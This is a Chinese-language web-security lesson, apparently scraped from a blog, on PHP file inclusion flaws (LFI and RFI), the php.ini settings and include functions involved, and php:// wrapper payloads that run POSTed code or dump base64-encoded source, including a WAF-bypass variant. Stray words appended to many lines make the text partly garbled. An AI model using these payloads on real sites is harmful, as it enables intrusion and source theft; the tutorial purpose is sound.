风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击php
参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/git
本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分状况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。github
远程文件包含漏洞。是指可以包含远程服务器上的文件并执行。因为远程服务器的文件是咱们可控的,所以漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,须要php.ini中进行配置web
两个配置选项均须要为On,才能远程包含文件成功。shell
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2以后就默认为Off。安全
php中引起文件包含漏洞的一般是如下四个函数:服务器
1. include() 2. include_once() 3. require() 4. require_once()
reuqire() 若是在包含的过程当中有错,好比文件不存在等,则会直接退出,不执行后续语句。ide
include() 若是出错的话,只会提出警告,会继续执行后续语句。函数
require_once() 和 include_once() 功能与require() 和 include() 相似。但若是一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以免函数重定义或变量重赋值等问题。web安全
利用条件:
姿式:
index.php?file=php://input POST: <? phpinfo();?>
利用条件:无甚
姿式:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
经过指定末尾的文件,能够读取经base64加密后的文件源码,以后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
>>> import base64 >>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==") b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"
其余姿式:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面同样,少了read等关键字。在绕过一些waf时也许有用。
参考:
http://blog.evalshell.com/2020/12/20/风炫安全web安全学习第三十三节课-文件包含漏洞基/